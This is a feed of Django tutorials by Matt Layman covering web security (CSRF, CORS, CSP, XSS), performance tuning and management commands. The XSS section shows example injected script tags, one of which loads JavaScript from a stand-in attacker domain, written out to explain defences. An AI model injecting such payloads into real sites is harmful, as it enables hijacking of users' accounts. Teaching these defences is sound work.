DEV Community: Matt Layman

Understand Django: Security and Django

Matt Layman — Thu, 10 Mar 2022 15:23:48 +0000

In the last Understand Django article, we learned about where apps slow down. We explored techniques that help sites handle the load and provide a fast experience for users.

With this article, we will look at security. How does a Django site stay safe on the big, bad internet? Let's find out.

A Security Confession

I have a confession to make. Of all the topics that I've covered about Django in this series, this is my least favorite one. Perhaps that's why I've pushed the subject so far into this list of articles.

I have a very hard time getting excited about security because it feels like a pure cost to me. As developers, we're in this arms race against malicious people who want to steal and profit from the data of others. In a perfect world, everyone would respect the privacy of others and leave private data alone. Alas, the world is far from perfect.

The bad actors have devised clever and tricky methods of exploiting websites to steal data. Because of this, application developers have to implement guards in an attempt to prevent these exploits. Implementing those guards detract from the main objective of site building and often feels like a drag on efficiency.

All that being said, security is super important. Even if you're like me and the topic doesn't naturally interest you (or actively feels like a waste of time), the security of your application matters.

Privacy matters.
Trust matters.

If we cannot protect the information that users of our Django sites bring, then trust will rapidly erode and, most likely, your users will disappear along with it.

As noted in this section, security is not my favorite topic. I'm going to describe some security topics as they relate to Django, but if you want to learn from people who love security, then I would recommend reading from the Open Web Application Security Project. This popular group can teach you far more about security than I can, and do it with gusto!

The Three Cs

Security has a bunch of acronyms to learn. I don't know if this is something that security researchers like to do, or if the it's because the problems that the acronyms stand for are challenging to understand. Either way, let's look at three common acronyms that start with C and the problems they address.

CSRF

In a number of these Understand Django articles, I have discussed CSRF briefly. In the forms article, I did some hand waving and stated that you need a CSRF token for security reasons and basically said "trust me" at the time.

CSRF stands for Cross Site Request Forgery. In my terms, a CSRF attack allows an attacker to use someone's credentials to a different site without their permission. With a bit of imagination, you can see where this goes:

Attacker socially manipulates a user to click a link.
The click activity exploits the user's credentials to a site and changes something about the user's account like their email address.
The attacker changes the email address to something they control.
If the original site is something like an e-commerce site, the attacker may make purchases using the user's stored credit card information.

Django include a capability to help thwart this kind of attack. Through the use of CSRF tokens, we can help prevent bad actors from performing actions without user consent.

A CSRF token works by including a generated value that gets submitted along with the form. The template looks like:

<form method="POST">
  {% csrf_token %}
  <input name="myvalue">
  <input type="submit">
</form>

When this renders, the result would be something like:

<form method="POST">
  <input type="hidden" name="csrfmiddlewaretoken"
    value="gubC92ukKk62qtvkjp1t6iinHgflk9LD5Uke53QYHqUobOIzRp9nv2DuFqwx9ors">
  <input name="myvalue">
  <input type="submit">
</form>

The value would naturally be different from my example. When the form is submitted, the CSRF token gets checked for validity. A valid CSRF token is required to make a POST request, so this level of checking can help prevent attackers from changing a user's data on your site.

You can learn more about CSRF with Django's Cross Site Request Forgery protection reference page.

CORS

Imagine that you've built myapp.com. For your user interface, instead of Django templates, you built a client UI using a JavaScript framework like Vue.js. Your application is serving static files at myapp.com, and you built a Django-powered API that is handling the data which gets called at api.myapp.com.

In this scenario, browsers will require you to set up CORS. CORS is Cross-Origin Resource Sharing. The goal of CORS is to help protect a domain from undesirable access.

In our example, your API at api.myapp.com may only be designed to work with the user interface at myapp.com. With CORS, you can configure your API so that it will reject any requests that do not come from the myapp.com domain. This helps prevent bad actors from using api.myapp.com in the browser.

Django does not include tools to handle CORS configuration from the core package. To make this work, you'll need to reach for a third party package. Since CORS configuration is handled through HTTP headers, you'll find that the very appropriately named django-cors-headers package is exactly what you need.

I won't walk through the whole setup of that package because the README does a good job of explaining the process, but I will highlight the crucial setting. With django-cors-headers, you need to set the CORS_ALLOWED_ORIGINS list. Anything not in that list will be blocked by CORS controls in the browser. Our example configuration would look like:

CORS_ALLOWED_ORIGINS = [
    "https://myapp.com",
]

As you read about CORS on the internet, you'll probably run into advice to set the HTTP header of Access-Control-Allow-Origin: *. This wildcard is what you'll get if you set CORS_ALLOW_ALL_ORIGINS = True in django-cors-headers. This is probably not what you really want. Using this feature opts your site out of CORS protection. Unless you have some public web API that is designed to work for many domains, you should try to avoid opting out of CORS.

CORS is not a core concept that you will find in Django. If you want to learn more about the specifics of CORS, check out Cross-Origin Resource Sharing (CORS) from the Mozilla Developer Network (MDN).

CSP

The final C in our tour is Content Security Policy or CSP, for short. You might roughly think of CSP as the inverse of CORS. Where CORS defines what parts of the internet can access your domain, CSP defines what your domain can access from the internet.

The goal of CSP is to protect users on your site from running JavaScript (and other potentially harmful resources like images) from places that you don't want.

To understand how your site can be vulnerable to these kinds of attacks, we need to understand a well-known attack vector called Cross-Site Scripting (XSS). XSS is when a bad actor finds a way to run a script on your domain. Here's a classic way that XSS can happen:

A site has a form that accepts text data.
Then the site displays that text data in its raw form.

At first, that seems harmless.

<div class="area-where-user-content-gets-displayed">
  What could possibly go wrong?
</div>

For an honest interaction like "What could possibly go wrong?" as user input, that is truly harmless. What about this?

<div class="area-where-user-content-gets-displayed">
  I am getting <i>sneaky</i>.
</div>

Now, the user added a bit of HTML markup. Again, this is fairly benign and will only add some unanticipated italics. What if the user is a bit more clever than that?

<div class="area-where-user-content-gets-displayed">
  <script>alert("Boom goes the dynamite!")</script>
</div>

Here's where a site gets into trouble. If this is rendered on a page, a little alert box will appear. You can imagine this happening in a forum or some other sharing site where multiple people will see this output. That's annoying, but it's still not horrible.

What does a really bad scenario look like? A really bad scenario is where the bad guys figure out that your site is unsafe in this way. Consider this:

<div class="area-where-user-content-gets-displayed">
  <script src="https://really-bad-guys.com/owned.js"></script>
</div>

Now your users are really in trouble. In this final version, the bad guys won. A user's browser will download and execute whatever JavaScript is in owned.js. This code could do all kinds of stuff like using the fetch API to run AJAX requests that can change the user's account credentials and steal their account.

How do we defend against this kind of attack? There isn't a singular answer. In fact, multiple layers of protection is often what you really want. In security, this idea is called "defense-in-depth." If you have multiple layers to protect your site, then the site may become a less appealing target for attackers.

For this particular scenario, we can use a couple of things

HTML escaping of untrusted input
CSP

The real problem above is that the site is rendering user input without any modification. This is a problem with HTML because the raw characters are interpreted as HTML code and not just user data.

The simplest solution is to make sure that any characters that mean something specific to HTML (like < or >) are replaced with escape codes (< or >) that will display the character in the browser without treating it like the actual HTML code character. Django does this auto-escaping of user data by default. You can disable this behavior for portions of a template using a variety of template tags like autoescape and the (ironically named?) safe tag.

Because there are ways to opt out of safe behavior from HTML escaping and because clever attackers might find other ways to inject script calls into your site, CSP is another layer of protection.

Primarily, CSP is possible with a Content-Security-Policy HTTP header. You can read all of the gritty details on the Content Security Policy (CSP) article on MDN. Like CORS, CSP is not something that Django supports out-of-the-box. Thankfully, Mozilla (yep, the same Mozilla from MDN), offers a django-csp package that you can use to configure an appropriate policy for your Django site.

In a content security policy, you mark everything that you want to allow. This fundamentally changes what requests your site will connect to. Instead of allowing everything by default, the site operates on a model that denies things by default. With a "deny by default" stance, you can then pick resources which you deem are safe for your site. Modern browsers respect the policy declared by the HTTP header and will refuse to connect to resources out of your policy when users visit your site at your domain.

There is something obvious that we should get out of the way. This setup and configuration requires more work. Having more secure systems requires effort, study, and plenty of frustration as you make a site more secure. The benefits to your users or customers is that their data stays safe. I think most people expect this level of protection by default.

So, do you have to become a security expert to build websites? I don't think so. There is a set of fundamental issues with web application security that you should know about (and we've covered some of those issues already), but you don't need to be prepared to go to black hat conventions in order to work on the web.

Before finishing up this security article, let's look at what Django provides so that you can be less of a security expert and use the knowledge of the community.

Check Command Revisited

The Django documentation includes a good overview of the framework's security features on the Security in Django page.

Aside from the content outlined on the security page, we can return to the check command discussed in previous articles. Recall that Django includes a check command that can check your site's configuration before you deploy a site live. The command looks like:

$ ./manage.py check --deploy

The output from this command can show where your configuration is less than ideal from a security perspective.

The security warnings that come from running the check command are defined in django.core.checks.security. A more readable version of the available security checks is on the System check framework reference page.

Scanning through the list of checks, you'll find that

many checks center around configuring your site to run with HTTPS. Secure connections used to reference SSL for Secure Sockets Layer. Along the way, that layer changed names to TLS for Transport Layer Security. In practice, if you see either of those terms, think https://.
other checks confirm that your site has the kinds of middleware installed that offer some of the protection discussed previously (like CSRF).
still other checks look for core settings that should be set like DEBUG = False and defining the ALLOWED_HOSTS setting.

There is a good comment in the Django security checks reference docs that is worth repeating here:

The security checks do not make your site secure. They do not audit code, do intrusion detection, or do anything particularly complex. Rather, they help perform an automated, low-hanging-fruit checklist, that can help you to improve your site’s security.

When you're thinking through security, do some homework and don't let your brain go on autopilot. Remember that users develop a trust relationship with your websites. That trust is easy to break and may cause people to leave your site forever.

Summary

In this article, we explored security topics and how they related to Django. We covered:

CSRF
CORS
CSP
Cross-site scripting (XSS)
The security checks and information available from the check command

In the last article of the Understand Django series, we'll get into debugging. You'll learn about:

Debugging tools like pdb
Browser tools
Strategies for finding and fixing problems

If you'd like to follow along with the series, please feel free to sign up for my newsletter where I announce all of my new content. If you have other questions, you can reach me online on Twitter where I am @mblayman.

Understand Django: Go Fast With Django

Matt Layman — Wed, 19 Jan 2022 15:38:15 +0000

In the last Understand Django article, we learned about commands. Commands are the way to execute scripts that interact with your Django app.

With this article, we're going to dig into performance. How do you make your Django site faster? Keep reading to find out.

Theory Of Performance

There are two ways to make a website faster:

Do more work.

Do less work.

How we do more work and less work depends on the type of work that we're trying to address on the site.

When we're talking about doing more work, what I'm really saying is that we often need to increase the throughput of a site. Throughput is a measure of work over time. By increasing throughput, a site can serve more users concurrently.

A very natural throughput measure on a Django site is requests per second. A page view on a site could contain multiple requests, so requests per second isn't a perfect analog to how many users your site can handle, but it's still a useful measure to help you reason about site performance.

On the flip side of doing more work, what does it mean to do less work to improve performance?

The fastest code is no code.

Every line of code that you write must be processed by a computer when it runs. If your code is inefficient or if too much is running, that will naturally mean that it will take longer to produce a final result.

The time from when an input happens to when an output is received is called latency. If a user clicks on a link on your site, how long does it take for them to get a response. That time delay is latency.

Less work doesn't just mean that you're running too much code! There are a lot of factors that might contribute to latency, some of them are easier to optimize than others.

Inefficient code - mistakes in development can make a computer slower than necessary
Data size - sending more data requires more effort to deliver to users
Geographic location - the speed of light is a real limit on network communication
and more!

If you can reduce latency on your site, you can improve the experience of the people using the site.

In the rest of this article, you'll learn how you can do both more and less work to make a better site that will benefit your users.

Measure First

Before optimizing, we have to recognize what kind of work is impacting an app. In other words, what is the resource constraint that is preventing an app from performing better?

Measuring applications, especially those that are running with live traffic, can be a tricky endeavor. I think we can look at an app from a zoomed out macro level or a zoomed in point of view.

I would start my analysis from inspecting the system overall for patterns. Broadly, you will find that performance tends to fall into a couple of major bottleneck categories:

I/O bound
CPU bound

I/O bound means that the system is limited (that's the "bound" part) by the inputs and outputs of the system. Since that's still a really vague statement, let's make it more concrete. An I/O bound system is one that is waiting for work to be available. Classic examples include:

waiting for responses from a database,
waiting for content from a file system,
waiting for data to transfer over a network,
and so on.

Optimizing an I/O bound system is all about minimizing those waiting moments.

Conversely, CPU bound systems are systems that are drowning in immediate work to calculate. The computer's Central Processing Unit can't keep up with all that it's being asked to do. Classic examples of CPU bound work are:

Data science computations for machine learning
Image processing and rendering
Test suite execution

Optimizing a CPU bound system focuses heavily on making calculations faster and cheaper.

Since we understand that an application that is underperforming is likely to be I/O bound or CPU bound, we can start to look for these patterns within the system. The easiest initial signal to observe is the CPU load. If the processors on your production machines are running at very high CPU utilization, then it's a pretty clear indicator that your app is CPU bound. In my estimation, you'll rarely see this for web applications. Most underperforming web applications are likely to be I/O bound.

The reason that web apps are often I/O bound has to do with their typical function. Most apps are fetching data from a database and displaying it to a user. There isn't a massive amount of computation (comparatively to something like machine learning) that the app needs to do. Thus, your app is probably waiting around for data from the database.

If you observe that the system is not CPU bound, then the next action is to dig deeper and find where the application is spending its time waiting, but how? Philosophically, you should now have an ok understanding of what to be looking for, but what tools can you use to accomplish the task of measurement?

We need to rewind a bit. A moment ago, I also made an assumption that you know how to find the CPU load of your application. That may not be the case.

The easiest way to monitor basic resource information about your app including CPU, memory, disk usage, and more may come from your hosting vendor. My preferred hosting vendor, Heroku, displays all these kinds of metrics on a single page so I can assess system performance at a glance. Other vendors like Digital Ocean or AWS provide tools to help you see this information too.

If your hosting vendor doesn't provide these tools, then you'll have to use other techniques. Presumably, if you're using a Virtual Private Server (VPS) for hosting, you have access to the server itself via ssh. On the server that's running your application, you can use a program like top. This is a classic program for checking which processes are using the "top" amount of resources. top will show the list of processes ordered by what is consuming the most CPU and will refresh the order of the list every second to provide a current snapshot in time. (Tip: use q to quit top after you start it.)

While top is useful and gets the job done to learn about CPU usage, it's not exactly the friendliest tool out there. There are alternatives to top that may offer a better user experience. I personally find top sufficient, but I know htop is a popular alternative.

If you don't have tools from your hosting provider and don't want to use ssh to log into a server, there are other options to consider. Broadly, this other category of tools is called Application Performance Monitoring (APM). APM tools are vendors that will monitor your application (go figure!) if you install the tool along with your app. Application performance is very important to businesses, so the software industry is full of vendors to choose from with a wide range of features.

To see what these tools can be like for free, you might want to check out Datadog which has a free tier (Datadog is not a sponsor, I've just used their service, enjoyed it, and know that it's free for a small number of servers). Other popular vendors include Scout APM and New Relic.

Finally, we've reached a point where you can diagnose the performance constraints on your application using a wide variety of tools or services. Let's see how to fix problems you may be experiencing!

Do More

We can address throughput and do more with a few different knobs.

When thinking about doing more, try to think about the system in two different scaling dimensions:

Horizontally
Vertically

Horizontal and vertical scaling are methods of describing how to do more in software systems.

Let's relate this to a silly example to give you a good intuitive feel for scaling. Imagine that you need to move large bags of dirt (approximately 40 lbs / 18 kg per bag) to plant a huge garden. The job is to unload the hundreds of bags from a delivery truck to your imaginary back yard. You enlist the help of your friends to get the job done.

One strategy is to get your strongest friends to help. Maybe there aren't as many of them, but their strength can make quick work of moving the bags. This is vertical scaling. The additional power of your friends allows them to move the bags more easily than someone with an average or weaker build.

Another strategy is to get lots of friends to help. Maybe these friends can't move as many bags as the stronger ones, but many hands make light work. This is horizontal scaling. The increased number of people allows the group to move more bags because more individuals can do the work simultaneously.

We can apply this same thinking to computer systems.

Vertical Scaling

To achieve vertical scaling, you would run your application on a more powerful computer. Cloud vendors give you all kinds of tools to do this. Picking a faster computer is naturally going to cost you more, so vendors make many options available (check out this page from AWS to see the dizzying array of options).

When should you think about vertical scaling? One natural case is when your application is CPU bound. If the processor is struggling to process the requests from an application, a faster processor may help. With a higher clock speed from a faster individual CPU, a computer will be able to process an individual request faster.

Moving to a larger computer is typically consider vertical scaling, but it may be possible to have horizontal effects by moving to a larger computer because of how modern computers are designed. These day, a larger computers typically come with a higher number of CPUs. Each individual CPU may be faster than a smaller computer configuration and there will be more CPUs on the single machine. Because of this characteristic, you will likely need to change your application configuration to take advantage of the additional power.

In the Understand Django deployment article, we discussed Gunicorn's --workers flag. Recall that Python application servers like Gunicorn work by creating a main process and a set of worker processes. The main process will distribute incoming network connections to the worker processes to handle the actual traffic on your website. If you vertically scale the server machine from a size that has 1 CPU to a machine that has 2, 4, or more CPUs, and you don't change the number of workers, then you'll waste available CPU capacity and won't see most of the benefits from the upgrade in server size.

If modern vertical scaling uses more CPUs when moving to a bigger machine, then what is horizontal scaling? The difference is primarily in the number of computers needed to do the scaling. Vertical scaling changes a single machine to achieve more throughput. Horizontal scaling pulls multiple machines into the equation.

Horizontal Scaling

Conceptually, how does horizontal scaling work? With the vertical scaling model, you can see a clear connection between users making a request to your website's domain and a single machine handling those requests (i.e., the main process from your application server distributes requests). With the horizontal model, we're now discussing multiple computers. How does a single domain name handle routing to multiple computers? With more computers!

Like the main process that distributes requests, we need a central hub that is able to route traffic to the different machines in your horizontally scaled system. This hub is usually called a load balancer. A load balancer can be used for multiple things. I see load balancers used primarily to:

Route traffic to the different application servers in a system.
Handle the TLS certificate management that makes HTTPS possible.

Since the load balancer doesn't do most of the actual work of processing a request, your system can increase its throughput by increasing the number of application servers. In this setup, each application server "thinks" that it is the main server that's handling requests. The load balancer behaves like a client that's making requests on behalf of the actual user. This kind of configuration is called a proxy setup.

If you want to learn more about horizontal scaling with a load balancer, then I suggest you check out Nginx (pronounced "engine X"), HAProxy (which stands for "high availability proxy"), or AWS ALBs (for "application load balancer"). These tools are commonly reached for and have a reputation for being strong load balancers.

What's Better?

What are the tradeoffs between horizontal scaling and vertical scaling?

When you add more pieces to a system, you're increasing the complexity of the system. Thus, vertical scaling can, at least initially, produce a design with lower operational complexity. Personally, if I ran a service on some VPS like Digital Ocean or AWS, I would probably reach for vertical scaling first. A bigger machine would allow me to use a higher number of concurrent worker processes to increase throughput, and I would avoid the complexity of deploying multiple application servers.

In reality, I run my side projects on a Platform as a Service, Heroku. With my choice of Heroku, the service already includes a load balancer by default. This means that I can trivially scale horizontally by changing a setting in Heroku that will start multiple application servers.

While vertical scaling may be a good fit if you don't have an existing load balancer, that scaling path does have downsides to consider.

First, in a vertically scaled world, downtime on your server could mean downtime for your service. Whether a site is reachable or not reachable is called "availability" by the software industry. If your entire site is tied to a large vertically scaled server, then it can act as a single point of failure if there is a problem.

Secondly, a vertically scaled service may potentially have more cost for you. In my experience, most websites have high and low periods of usage throughout the day. For instance, my current employer is a US healthcare company that provides telemedicine visits for people that need to speak with a doctor virtually. When it's the middle of the night in the US, the site utilization is naturally lower as most people are sleeping.

One common cost optimization is to use fewer computing resources during periods of lower utilization. On a vertically scaled service, it is harder to change computer sizes quickly. Thus, that computing resources usage is relatively fixed, even if no one is using your service. In contrast, a horizontally scaled service can be configured to use "auto-scaling."

Auto-scaling is the idea that the infrastructure can be resized dynamically, depending on the use of the site. During periods of high activity, more computers can be added automatically to join the load balancer distribution and handle additional load. When activity dies down, these extra machines can be removed from use. This cost saving technique helps ensure that your system is only using what it needs.

The truth is that if your system reaches a large enough size and scale, then picking horizontal or vertical scaling is a false choice. As a system matures and grows, you may need to have a mix of the two scaling types, so that your service has the characteristics that you need (like availability).

I hope that I've helped equip you with some mental modeling tools. With these tools, you should have some idea of how to handle more traffic when your site becomes wildly popular. 😄

In this section, we focused on increasing throughput by changing your service's infrastructure to handle more load. Now let's shift from the macro point of view to the micro view and talk about how to improve throughput by doing less.

Do Less

How do you make your Django site do less work? We should always measure, but since I believe most websites are I/O bound, let's focus on techniques to improve in that dimension.

Optimizing Database Queries

The most common performance problem that I've encountered with Django applications is the N+1 query bug (some people will describe it as the 1+N query bug for reasons that may become evident in a moment).

The N+1 bug occurs when your application code calls the database in a loop. How many queries are in this made up example?

from application.models import Movie

movies = Movie.objects.all()
for movie in movies:
    print(movie.director.name)

It's a bit of a trick question because you might have a custom manager (i.e., objects), but, in the simplest scenario, there is one query to fetch the movies, and one query for each director.

The reason for this behavior is that Django does a lazy evaluation of the movies QuerySet. The ORM is not aware that it needs to do a join on the movie and director tables to fetch all the data. The first query on the movie table occurs when the iteration happens in the Python for loop. When the print function tries to access the director foreign key, the ORM does not have the director information cached in Python memory for the query set. Django must then fetch the director data in another database query to display the director's name.

This adds up to:

1 query for the movies table
N queries on the director table for each iteration through the for loop

Hence the name, "N+1" query bug.

The reason that this is so bad is because calling the database is way slower than accessing data in Python memory. Also, this problem gets worse if there are more rows to iterate over (i.e., more movies to process and, thus, more directors to fetch individually).

The way to fix this issue is to hint to Django that the code is going to access data from the deeper relationship. We can do that hinting to the ORM with select_related. Let's see the example with this change.

from application.models import Movie

movies = Movie.objects.select_related("director").all()
for movie in movies:
    print(movie.director.name)

In the reworked example, the ORM will "know" that it must fetch the director data. Because of this extra information, the framework will fetch from both the movie and director tables in a single query when the for loop iteration starts.

Under the hood, Django performs a more complex SELECT query that includes a join on the two tables. The database sends back all the data at once and Django caches the data in Python memory. Now, when execution reaches the print line, the director.name attribute can pull from memory instead of needing to trigger another database query.

The performance savings here can be massive, especially if your code works with a lot of database rows at once.

While select_related is fantastic, it doesn't work for all scenarios. Other types of relationships like a many to many relationship can't be fetched in a single query. For those scenarios, you can reach for prefetch_related. With this method, Django will issue a smaller number of queries (usually 1 per table) and blend the results together in memory. In practice, prefetch_related operates very much like select_related in most circumstances. Check out the Django docs to understand more.

Caching Expensive Work

If you know:

Execution will likely happen many times
Is expensive to create, AND
Won't need to change

Then you're looking at work that is a very good candidate to cache. With caching, Django can save the results of some expensive operation into a very fast caching tool and restore those results later.

A good example of this might be a news site. A news site is very "read heavy," that is, users are more likely to use the site for viewing information than for writing and saving information to the site. A news site is also a good example because users will read the same article, and the content of that article is fixed in form.

Django includes tools to make it simple to work with the cache to optimize content like our news site example.

The simplest of these tools is the cache_page decorator. This decorator can cache the results of an entire Django view for a period of time. When a page doesn't have any personalization, this can be a quick and effective way to serve HTML results from a view. You can find this decorator in django.views.decorators.cache.

You may need a lower level of granularity than a whole page. For instance, your site might have some kind of logged in user and a customized navigation bar with a profile picture or something similar. In that scenario, you can't really cache the whole page and serve that to multiple users, because other users would see the customized navigation bar of the first user who made the request. If this is the kind of situation you're in, then the cache template tag may be the best tool for you.

Here's a template example of the cache tag in use.

{% load cache %}

Hi {{ user.username }}, this part won't be cached.

{% cache 600 my_cache_key_name %}
    Everything inside of here will be cached.
    The first argument to `cache` is how long this should be cached
    in seconds. This cache fragment will cache for 10 minutes.
    Cached chunks need a key name to help the cache system
    find the right cache chunk.

    This cache example usage is a bit silly because this is static text
    and there is no expensive computation in this chunk.
{% endcache %}

With this scheme, any expensive computation that your template does will be cached. Be mindful with this tag! The tag is useful if computation happens during rendering, but if you're do the evaluation and fetching inside of your view instead of at template rendering time, then you're unlikely to get the benefits that you want.

Finally, there is the option to use the cache interface directly. Here's the basic usage pattern:

# application/views.py
from django.core.cache import cache

from application.complex import calculate_expensive_thing

def some_view(request):
    expensive_result = cache.get("expensive_computation")
    if expensive_result is None:
        expensive_result = calculate_expensive_thing()
        cache.set("expensive_computation", expensive_result)

    # Handle the rest of the view.
    ...

On the first request to this view, the expensive_result won't be in the cache, so the view will calculate the result and save it to the cache. On subsequent requests, the expensive result can be pulled from the cache. In this example, I'm using the default timeout for the cache, but you can control the timeout values when you need more control. The cache system has plenty of other cool features, so check it out in the docs.

As fair warning, caching often requires more tools and configuration. Django works with very popular cache tools like Redis and Memcached, but you'll have to configure one of the tools on your own. The Django documentation will help you, but be prepared for more work on your part.

Database optimization and caching are go to techniques for optimization. When you're optimizing, how do you know that you're doing it right? What gains are you getting? Let's look at some tools next that will let you answer those questions.

Tools To Measure Change

We'll look at tools at an increasing level of complexity. This first tool is one that is massively useful while developing in Django. The other tools are more general purpose tools, but they still are worth knowing about, so that you'll know when to reach for them.

Each of these tools helps you get real performance data. By measuring the before and after of your changes, you can learn if the changes are actually producing the gains that you expect or hope to achieve.

Django Debug Toolbar

The Django Debug Toolbar is a critical tool that I add to my projects. The toolbar acts as an overlay on your site that opens to give you a tray of different categories of diagnostic information about your views.

Each category of information is grouped into a "panel," and you can select between the different panels to dig up information that will assist you while doing optimization work.

You'll find panels like:

SQL
Templates
Request
Time

The SQL panel is where I spend nearly all of my time when optimizing. This panel will display all the queries that a page requests. For each query, you can find what code triggered the database query and you even get the exact SQL SELECT. You can also get an EXPLAIN about a query if you really need the gory details of what the database is doing.

With a little bit of eye training, you'll learn to spot N+1 query bugs because you can see certain queries repeated over and over and "cascading" like a waterfall.

I'll often test with the debug toolbar when I'm trying to sprinkle in select_related to visually confirm that I've reduced the query count on a page. The debug toolbar is open source and is a great free resource. The toolbar is totally worth the investment of configuring it for your next Django project.

hey / ab

There are two tools that are very similar that I use when I need to get a crude measure of the performance of a site. These tools are hey and ab (Apache Bench). Both of these tools are load generators that are meant to benchmark a site's basic performance characteristics.

In practice, I prefer hey, but I mention ab because it is a well known tool in this space that you are likely to encounter if you research this load generator topic.

Operating this kind of tool is trivial:

$ hey https://www.example.com

In this example, hey will try to open up a large number of concurrent connections to the URL and make a bunch of requests. When the tool is done, it will report how many of the requests were successful and some related timing information and statistics. Using a load generator like this lets you synthesize traffic to learn how your site is going to perform.

I'd suggest you be careful where you tell these tools to operate. If you're not careful, you could cause a Denial of Service attack on your own machines. The flood of requests might make your site unavailable to other users by consuming all your server's resources. Think twice before pointing this at your live site!

Locust

The previous load generator tools that I mentioned act as somewhat crude measurements because you're limited to testing a single URL at a time. What should you do if you need to simulate traffic that matches real user usage patterns? Enter Locust. Locust is not a tool that I would reach for casually, but it is super cool and worth knowing about.

The goal of Locust is to do load testing on your site in a realistic way. This means that it's your job to model the expected behavior of your users in a machine understandable way. If you know your users well (and I hope you do), then you can imagine the flows that they might follow when using your site.

In Locust, you codify the behavior patterns that you care about, then run Locust to simulate a large number of users that will act like you expect (with randomness to boot to really make the test like reality).

Advanced load testing is something you may never need for your site, but it's pretty cool to know that Python has you covered if you need to understand performance and the limits of your site at that deep level.

Application Performance Monitoring (APM)

Earlier in this article, I mentioned that Application Performance Monitoring tools can show you CPU and memory utilization of your site. That's usually just the tip of the iceberg.

An APM tool often goes far beyond hardware resource measurement. I like to think of APMs as a supercharged version of the debug toolbar.

First, an APM is used on live sites typically. The tool will collect data about real requests. This lets you learn about the real performance problems on the site that affect real users.

For instance, New Relic will collect data on slow requests into "traces." These traces are aggregated into a set to show you which pages on your site are the worst performers. You can drill into that list, view an individual trace, and investigate the problem.

Maybe you've got an N+1 bug. Maybe one of your database tables is missing an index on an important field, and the database is scanning too many records during SELECT statements. These traces (or whatever they are called in other services) help you prioritize what to fix.

In fact, an APM highlights the true value of measurement. If I can leave you with a parting thought about optimization, think about this: optimize where it counts.

Here's a simple thought experiment to illustrate what I mean. You have an idealized system that does two things repeatedly:

One task (A) is 90% of all activity on the site.
The other task (B) is the remaining 10%.

If you have a to pick a target to try to optimize because your system performance is inadequate, which one do you pick?

Let's assume that you know an optimization for each type of task that could cause the task to execute in 50% of the time. If implementing each optimization is the same level of effort, then there is a clear winner as to which task you should optimize. You could either:

Optimize A for 90% * 50% for a total system saving of 45%.
Optimize B for 10% * 50% for a total system saving of 5%.

In most circumstances, spend your optimization effort on the area that will have outsized impact (i.e., pick task A as much as you can). Sometimes the hard part is figuring out which task is A and which task is B. Monitoring tools like an APM can help you see where the worst offenders are so you can focus your limited time in the right spot.

Summary

In this article, we looked into making Django apps go fast. We saw:

A mental model for thinking about performance optimization
Different types of performance bottlenecks
How to get your system to do more by either horizontal or vertical scaling
How to get your app to do less work by optimizing database queries and caching
Tools to aid you in all of this optimization work

In the next article, we'll look into security. You'll learn about:

How Django helps you be more secure with some of it design features
What those different warnings from ./manage.py check --deploy mean
Fundamental things you should consider to help keep your site secure

Understand Django: Command Your App

Matt Layman — Thu, 04 Nov 2021 14:35:19 +0000

In the last Understand Django article, we dug into file management. We saw how Django handles user uploaded files and how to deal with them safely.

With this article, you'll learn about commands. Commands are the way to execute scripts that interact with your Django app. We'll see built-in commands and how to build your own.

Why Commands?

Django makes it possible to run code from a terminal with ./manage.py, but why is this helpful or needed? Consider this script:

# product_stat.py

from application.models import Product

print(Product.objects.count())

which you could try running with:

$ python product_stat.py

The problem with this script is that Django is not ready to run yet. If you tried to run this kind of code, you would get an ImproperlyConfigured exception. There are a couple of modifications that you could make to get the script to run.

Call django.setup().
Specify the DJANGO_SETTINGS_MODULE.

# product_stat.py
import django

django.setup()

from application.models import Product

print(Product.objects.count())

Note that django.setup() must be before your Django related imports (like the Product model in this example). Now the script can run if you supply where the settings are located too.

$ DJANGO_SETTING_MODULE=project.settings python product_stat.py

This arrangement is less than ideal, but why else might we want a way to run commands through Django?

Try running ./manage.py -h.

What you'll likely see is more commands than what Django provides alone. This is where we begin to see more value from the command system. Because Django provides a standard way to run scripts, other Django applications can bundle useful commands and make them easily accessible to you.

Now that you've had a chance to see why commands exist to run scripts for Django apps, let's back up and see what commands are.

We Hereby Command

Django gives us a tool to run commands before we've even started our project. That tool is the django-admin script. We saw it all the way back in the first article where I provided a short set of setup instructions to get you started if you've never used Django before.

After you've started a project, your code will have a manage.py file, and the commands you've seen in most articles are in the form of:

$ ./manage.py some_command

What's the difference between django-admin and manage.py? In truth, not much!

django-admin comes from Django's Python packaging. In Python packages, package developers can create scripts by defining an entry point in the packaging configuration. In Django, this configuration looks like:

[options.entry_points]
console_scripts =
    django-admin = django.core.management:execute_from_command_line

Meanwhile, the entire manage.py of one of my projects is:

#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys


def main():
    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'project.settings')
    try:
        from django.core.management import execute_from_command_line
    except ImportError as exc:
        raise ImportError(
            "Couldn't import Django. Are you sure it's installed and "
            "available on your PYTHONPATH environment variable? Did you "
            "forget to activate a virtual environment?"
        ) from exc
    execute_from_command_line(sys.argv)


if __name__ == '__main__':
    main()

If you look closely, you can see that the different scripts are both ways to invoke the execute_from_command_line function to run a command. The primary difference is that the latter script will attempt to set the DJANGO_SETTINGS_MODULE environment variable automatically. Since Django needs to have DJANGO_SETTINGS_MODULE defined for most commands (note: startproject does not require that variable), manage.py is a more convenient way to run commands.

execute_from_command_line is able to present what commands are available to a project, whether a command comes from Django itself, an installed app, or is a custom command that you created yourself. How are the commands discovered? The command system does discovery by following some packaging conventions.

Let's say your project has an app named application. Django can find the command if you have the following packaging structure.

application
├── __init__.py
├── management
│   ├── __init__.py
│   └── commands
│       ├── __init__.py
│       └── custom_command.py
├── models.py
└── views.py
... Other typical Django app files

With this structure, you could run:

$ ./manage.py custom_command

Notes:

Django will create a command for a module found in <app>/management/commands/<command name>.py.
Don't forget the __init__.py files! Django can only discover the commands if management and commands are proper Python package directories.
The example uses custom_command, but you can name your command with whatever valid Python module name that you want.

Unfortunately, we can't slap some Python code into custom_command.py and assume that Django will know how to run it. Within the custom_command.py module, Django needs to find a Command class that subclasses a BaseCommand class that is provided by the framework. Django requires this structure to give command authors a consistent way to access features of the command system.

With the Command class, you can add a help class attribute. Adding help can gives users a description of what your command does when running ./manage.py custom_command -h.

The Command class will also help you with handling arguments. If your command needs to work with user input, you'll need to parse that data. Thankfully, the class integrates with Python's built-in argparse module. By including an add_arguments method, a command can parse the data and pass the results to the command's handler method in a structured way. If you've had to write Python scripts before, then you may understand how much time this kind of parsing can save you (and for those who haven't, the answer is "a lot of time!").

